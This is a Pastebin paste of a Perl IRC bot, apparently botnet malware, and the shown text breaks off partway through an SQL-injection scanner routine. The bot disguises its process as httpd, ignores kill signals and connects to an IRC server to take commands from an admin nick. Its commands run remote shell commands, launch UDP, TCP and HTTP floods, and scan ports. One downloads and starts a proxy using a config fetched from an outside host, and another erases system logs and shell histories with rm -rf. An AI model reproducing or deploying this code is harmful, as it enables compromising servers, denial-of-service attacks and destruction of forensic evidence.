Advertisement
Guest User

Bot IRC - Multi bot - Ponorogo Hacker by war0k

a guest
Oct 6th, 2012
2,510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 64.89 KB | None | 0 0
  1.  
  2. #!/usr/bin/perl
  3. ####################################
  4. # Original Design By Pitbul Modded By w3tw0rk
  5. # ---------------------------------------------
  6. #-[w3tw0rk B0T Commands List]-
  7. # https://groups.google.com/group/ponorogo-hacker
  8. # --------------------------------------------
  9. # Ponorogo Hacker
  10. #-----[Hacking Based]-----
  11. # !bot @multiscan <vuln> <dork>
  12. # !bot @socks5
  13. # !bot @sql2 <vuln> <dork> <col>
  14. # !bot @portscan <ip>
  15. # !bot @logcleaner
  16. # !bot @sendmail <subject> <sender> <recipient> <message>
  17. # !bot @system
  18. # !bot @cleartmp
  19. # !bot @rootable
  20. # !bot @nmap <ip> <beginport> <endport>
  21. # !bot @back <ip><port>
  22. # !bot @linuxhelp
  23. # !bot @cd tmp:. | for example
  24. #-----[Advisory-New Based]-----
  25. # !bot @packetstorm
  26. # !bot @milw0rm
  27. #-----[DDos Based]-----
  28. # !bot @udpflood <host> <packet size> <time>
  29. # !bot @tcpflood <host> <port> <packet size> <time>
  30. # !bot @httpflood <host> <time>
  31. # !bot @sqlflood <host> <time>
  32. #-----[IRC Based]-----
  33. # !bot @killme
  34. # !bot @join #channel
  35. # !bot @part #channel
  36. # !bot @reset
  37. # !bot @voice <who>
  38. # !bot @owner <who>
  39. # !bot @deowner <who>
  40. # !bot @devoice <who>
  41. # !bot @halfop <who>
  42. # !bot @dehalfop <who>
  43. # !bot @op <who>
  44. # !bot @deop <who>
  45. #-----[Flooding Based]-----
  46. # !bot @msgflood <who>
  47. # !bot @dccflood <who>
  48. # !bot @ctcpflood <who>
  49. # !bot @noticeflood <who>
  50. # !bot @channelflood
  51. # !bot @maxiflood <who>
  52. ####################################
  53. use HTTP::Request;
  54. use LWP::UserAgent;
  55. my $processo = 'usr/sbin/httpd';
  56. my $linas_max='10';
  57. my $sleep='5';
  58. my $cmd="http://h4ck3d.wsnw.net/mic22.txt";
  59. my $id="http://h4ck3d.wsnw.net/mic22.txt";
  60. ############################################
  61. my @adms=("war0k");
  62. my @canais=("#try");
  63. #Put your channel here
  64. my @nickname = ("Kacung1337");
  65. my $nick = $nickname[rand scalar @nickname];
  66. #Nickname of bot
  67. my $ircname ='unix';
  68. chop (my $realname = 'unx');
  69. #IRC name and Realname
  70. $servidor='irc.jahat.org' unless $servidor;
  71. my $porta='6667';
  72. ############################################
  73. $SIG{'INT'} = 'IGNORE';
  74. $SIG{'HUP'} = 'IGNORE';
  75. $SIG{'TERM'} = 'IGNORE';
  76. $SIG{'CHLD'} = 'IGNORE';
  77. $SIG{'PS'} = 'IGNORE';
  78. use IO::Socket;
  79. use Socket;
  80. use IO::Select;
  81. chdir("/");
  82.  
  83. #Connect
  84. $servidor="$ARGV[0]" if $ARGV[0];
  85. $0="$processo"."\0"x16;;
  86. my $pid=fork;
  87. exit if $pid;
  88. die "Masalah fork: $!" unless defined($pid);
  89.  
  90. our %irc_servers;
  91. our %DCC;
  92. my $dcc_sel = new IO::Select->new();
  93. $sel_cliente = IO::Select->new();
  94. sub sendraw {
  95. if ($#_ == '1') {
  96. my $socket = $_[0];
  97. print $socket "$_[1]\n";
  98.  
  99. } else {
  100. print $IRC_cur_socket "$_[0]\n";
  101. }
  102. }
  103.  
  104. sub conectar {
  105. my $meunick = $_[0];
  106. my $servidor_con = $_[1];
  107. my $porta_con = $_[2];
  108.  
  109. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  110. PeerPort=>$porta_con) or return(1);
  111. if (defined($IRC_socket)) {
  112. $IRC_cur_socket = $IRC_socket;
  113. $IRC_socket->autoflush(1);
  114. $sel_cliente->add($IRC_socket);
  115. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  116. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  117. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  118. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  119. nick("$meunick");
  120. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  121. sleep 1;
  122. }
  123. }
  124.  
  125. my $line_temp;
  126. while( 1 ) {
  127. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  128. select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  129. delete($irc_servers{''}) if (defined($irc_servers{''}));
  130. my @ready = $sel_cliente->can_read(0);
  131. next unless(@ready);
  132. foreach $fh (@ready) {
  133. $IRC_cur_socket = $fh;
  134. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  135. $nread = sysread($fh, $msg, 4096);
  136. if ($nread == 0) {
  137. $sel_cliente->remove($fh);
  138. $fh->close;
  139. delete($irc_servers{$fh});
  140. }
  141. @lines = split (/\n/, $msg);
  142. for(my $c=0; $c<= $#lines; $c++) {
  143. $line = $lines[$c];
  144. $line=$line_temp.$line if ($line_temp);
  145. $line_temp='';
  146. $line =~ s/\r$//;
  147. unless ($c == $#lines) {
  148. parse("$line");
  149. } else {
  150. if ($#lines == 0) {
  151. parse("$line");
  152. } elsif ($lines[$c] =~ /\r$/) {
  153. parse("$line");
  154. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  155. parse("$line");
  156. } else {
  157. $line_temp = $line;
  158. }
  159. }
  160. }
  161. }
  162. }
  163.  
  164. sub parse {
  165. my $servarg = shift;
  166. if ($servarg =~ /^PING \:(.*)/) {
  167. sendraw("PONG :$1");
  168. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  169. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  170. if ($args =~ /^\001VERSION\001$/) {
  171. notice("$pn", "\001VERSION mIRC v6.17 w3tw0rk\001");
  172. }
  173. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  174. if ($onde eq "$meunick"){
  175. shell("$pn", "$args");
  176. }
  177. #End of Connect
  178. if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
  179. my $natrix = $1;
  180. my $arg = $2;
  181. if ($arg =~ /^\!(.*)/) {
  182. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  183. } elsif ($arg =~ /^\@(.*)/) {
  184. $ondep = $onde;
  185. $ondep = $pn if $onde eq $meunick;
  186. bfunc("$ondep","$1");
  187. } else {
  188. shell("$onde", "$arg");
  189. }
  190. }
  191. }
  192. }
  193. ######################### End of prefix
  194. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  195. if (lc($1) eq lc($meunick)) {
  196. $meunick=$4;
  197. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  198. }
  199. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  200. nick("$meunick|".int rand(999999));
  201. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  202. $meunick = $2;
  203. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  204. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  205. foreach my $canal (@canais) {
  206. sendraw("JOIN $canal $key");
  207. }
  208. }
  209. }
  210.  
  211. sub bfunc {
  212. my $printl = $_[0];
  213. my $funcarg = $_[1];
  214. if (my $pid = fork) {
  215. waitpid($pid, 0);
  216. } else {
  217. if (fork) {
  218. exit;
  219. } else {
  220.  
  221. if ($funcarg =~ /^killme/) {
  222. sendraw($IRC_cur_socket, "QUIT :");
  223. $killd = "kill -9 ".fork;
  224. system (`$killd`);
  225. }
  226. ######################
  227. # Commands #
  228. ######################
  229. if ($funcarg =~ /^commands/) {
  230. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[w3tw0rk B0T Commands List]-14@4] ");
  231. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[w3tbot/Hacking Based]-----14@4] ");
  232. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  233. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  234. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sql <vuln> <dork>");
  235. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  236. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  237. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  238. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  239. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  240. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  242. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  249. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  250. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  251. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  252. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  253. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  254. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3killme");
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3join #channel");
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3part #channel");
  257. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3reset");
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  259. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  260. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  261. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  262. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  263. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  264. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  265. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  266. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  267. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  268. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  269. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  270. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  271. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  272. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  273. }
  274.  
  275. if ($funcarg =~ /^linuxhelp/) {
  276. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Dir where you are : pwd");
  278. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Start a Perl file : perl file.pl");
  279. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Go back from dir : cd ..");
  280. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  281. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Show all files/dir with permissions : ls -lia");
  282. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  283. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  284. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  285. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  286. }
  287.  
  288. if ($funcarg =~ /^help/) {
  289. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  290. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3flooding - For IRC Flooding Help");
  291. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3irc - For IRC Bot Command Help ");
  292. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ddos - For DDos Command Help");
  293. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3news - For Security News Command Help ");
  294. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3hacking - For Hacking Command Help");
  295. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp - For Linux Help");
  296. }
  297.  
  298. if ($funcarg =~ /^flooding/) {
  299. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  300. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  301. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  302. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  303. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  304. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  305. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  306. }
  307.  
  308. if ($funcarg =~ /^irc/) {
  309. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  310. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  311. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  312. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  313. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  314. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  316. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  318. }
  319.  
  320. if ($funcarg =~ /^ddos/) {
  321. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  322. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  323. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  324. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  325. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  326. }
  327.  
  328. if ($funcarg =~ /^news/) {
  329. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  330. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  331. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  332. }
  333.  
  334. if ($funcarg =~ /^hacking/) {
  335. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  338. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  339. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  344. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  346. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  347. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  348. }
  349. ######################
  350. # End of Help #
  351. ######################
  352. ######################
  353. # Commands #
  354. ######################
  355. if ($funcarg =~ /^system/) {
  356. $uname=`uname -a`;
  357. $uptime=`uptime`;
  358. $ownd=`pwd`;
  359. $distro=`cat /etc/issue`;
  360. $id=`id`;
  361. $un=`uname -sro`;
  362. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  363. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a : 7 $uname");
  364. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime : 7 $uptime");
  365. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses : 7 $processo");
  366. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID : 7 $id");
  367. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir : 7 $ownd");
  368. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS : 7 $distro");
  369. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner : 7 fuck");
  370. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel : 7 #berau");
  371. }
  372.  
  373. if ($funcarg =~ /^milw0rm/) {
  374. my @ltt=();
  375. my @bug=();
  376. my $x;
  377. my $page="";
  378. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  379. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  380. my @r = <$socke>;
  381. $page="@r";
  382. close($socke);
  383. while ($page =~ m/<title>(.*)</g){
  384. $x = $1;
  385. if ($x =~ /\&lt\;/) {
  386. $x =~ s/\&lt\;/</g;
  387. }
  388. if ($x !~ /milw0rm/) {
  389. push (@bug,$x);
  390. }
  391. }
  392. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  393. if ($1 !~ m/milw0rm.com|exploits|en/){
  394. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  395. }
  396. }
  397. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  398. foreach $x (0..(@ltt - 1)) {
  399. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 $bug[$x] - $ltt[$x]");
  400. sleep 1;
  401. }
  402. }
  403. ######################
  404. # Portscan #
  405. ######################
  406. if ($funcarg =~ /^portscan (.*)/) {
  407. my $hostip="$1";
  408. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  409. my (@aberta, %porta_banner);
  410. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  411. foreach my $porta (@portas) {
  412. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  413. 'tcp', Timeout => 4);
  414. if ($scansock) {
  415. push (@aberta, $porta);
  416. $scansock->close;
  417. }
  418. }
  419.  
  420. if (@aberta) {
  421. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  422. } else {
  423. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  424. }
  425. }
  426.  
  427. ######################
  428. # End of Portscan #
  429. #####################
  430. #####################
  431. # Chk The News from PacketStorm#
  432. ######################
  433. if ($funcarg =~ /^packetstorm/) {
  434. my $c=0;
  435. my $x;
  436. my @ttt=();
  437. my @ttt1=();
  438. my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  439. print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  440. print $sock "Host: www.packetstormsecurity.org\r\n";
  441. print $sock "Accept: */*\r\n";
  442. print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  443. my @r = <$sock>;
  444. $page="@r";
  445. close($sock);
  446. while ($page =~ m/<link>(.*)<\/link>/g)
  447. {
  448. push(@ttt,$1);
  449. }
  450. while ($page =~ m/<description>(.*)<\/description>/g)
  451. {
  452. push(@ttt1,$1);
  453. }
  454. foreach $x (0..(@ttt - 1))
  455. {
  456. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  457. sleep 3;
  458. $c++;
  459. }
  460. }
  461. ######################
  462. #Auto Install Socks V5 using Mocks#
  463. ######################
  464. if ($funcarg =~ /^socks5/) {
  465. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  466. system 'cd /tmp';
  467. system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  468. system 'tar -xvfz mocks-0.0.2.tar.gz';
  469. system 'rm -rf mocks-0.0.2.tar.gz';
  470. system 'cd mocks-0.0.2';
  471. system 'rm -rf mocks.conf';
  472. system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  473. system 'touch mocks.log';
  474. system 'chmod 0 mocks.log';
  475. sleep(2);
  476. system './mocks start';
  477. sleep(4);
  478. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4 ");
  479.  
  480. #lets grab ip
  481. $net = `/sbin/ifconfig | grep 'eth0'`;
  482. if (length($net))
  483. {
  484. $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  485. if (!length($net))
  486. {
  487. $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  488. }
  489. if (length($net))
  490. {
  491. chop($net);
  492. @netip = split/:/,$net;
  493. $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  494. $ip = $1 .".". $2 .".". $3 .".". $4;
  495.  
  496. #and print it ^^
  497. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  498. }
  499. else
  500. {
  501. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  502. }
  503. }
  504. else
  505. {
  506. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  507. }
  508. }
  509. ######################
  510. # Nmap #
  511. ######################
  512. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  513. my $hostip="$1";
  514. my $portstart = "$2";
  515. my $portend = "$3";
  516. my (@abertas, %porta_banner);
  517. sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4| 4: $1:. |.: 4Ports 12:. 4 $2-$3");
  518. foreach my $porta ($portstart..$portend){
  519. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  520. if ($scansock) {
  521. push (@abertas, $porta);
  522. $scansock->close;
  523. if ($xstats){
  524. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan :. |Founded 4 $porta"."/Open");
  525. }
  526. }
  527. }
  528. if (@abertas) {
  529. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| Complete ");
  530. } else {
  531. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| No open ports have been founded 13");
  532. }
  533. }
  534. ######################
  535. # End of Nmap #
  536. ######################
  537. ######################
  538. # Log Cleaner #
  539. ######################
  540. if ($funcarg =~ /^logcleaner/) {
  541. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | This process can be long, just wait");
  542. system 'rm -rf /var/log/lastlog';
  543. system 'rm -rf /var/log/wtmp';
  544. system 'rm -rf /etc/wtmp';
  545. system 'rm -rf /var/run/utmp';
  546. system 'rm -rf /etc/utmp';
  547. system 'rm -rf /var/log';
  548. system 'rm -rf /var/logs';
  549. system 'rm -rf /var/adm';
  550. system 'rm -rf /var/apache/log';
  551. system 'rm -rf /var/apache/logs';
  552. system 'rm -rf /usr/local/apache/log';
  553. system 'rm -rf /usr/local/apache/logs';
  554. system 'rm -rf /root/.bash_history';
  555. system 'rm -rf /root/.ksh_history';
  556. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | All default log and bash_history files erased");
  557. sleep 1;
  558. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Now Erasing the rest of the machine log files");
  559. system 'find / -name *.bash_history -exec rm -rf {} \;';
  560. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  561. system 'find / -name "log*" -exec rm -rf {} \;';
  562. system 'find / -name *.log -exec rm -rf {} \;';
  563. sleep 1;
  564. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Done! All logs erased");
  565. }
  566. ######################
  567. # End of Log Cleaner #
  568. ######################
  569. ######################
  570. # SQL SCANNER #
  571. ######################
  572.  
  573. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  574. if (my $pid = fork) {
  575. waitpid($pid, 0);
  576. } else {
  577. if (my $d=fork()) {
  578. addproc($d,"[SQL2] $2");
  579. exit;
  580. } else {
  581.  
  582. my $bug=$1;
  583. my $dork=$2;
  584. my $contatore=0;
  585. my ($type,$space);
  586. my %hosts;
  587. my $columns=$3;
  588.  
  589. ### Start Message
  590. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  591. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  592. ### End of Start Message
  593. # Starting Google
  594. my @glist=&google($dork);
  595. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  596. my @mlist=&msn($dork);
  597. my @asklist=&ask($dork);
  598. my @allist=&alltheweb($dork);
  599. my @aollist=&aol($dork);
  600. my @lycos=&lycos($dork);
  601. my @ylist=&yahoo($dork);
  602. my @mzlist=&mozbot($dork);
  603. my @mamalist&mamma($dork);
  604. my @hlist=&hotbot($dork);
  605. my @altlist=&altavista($dork);
  606. my @slist=&search($dork);
  607. my @ulist=&uol($dork);
  608. my @fireball=&fireball($dork);
  609. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  610. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
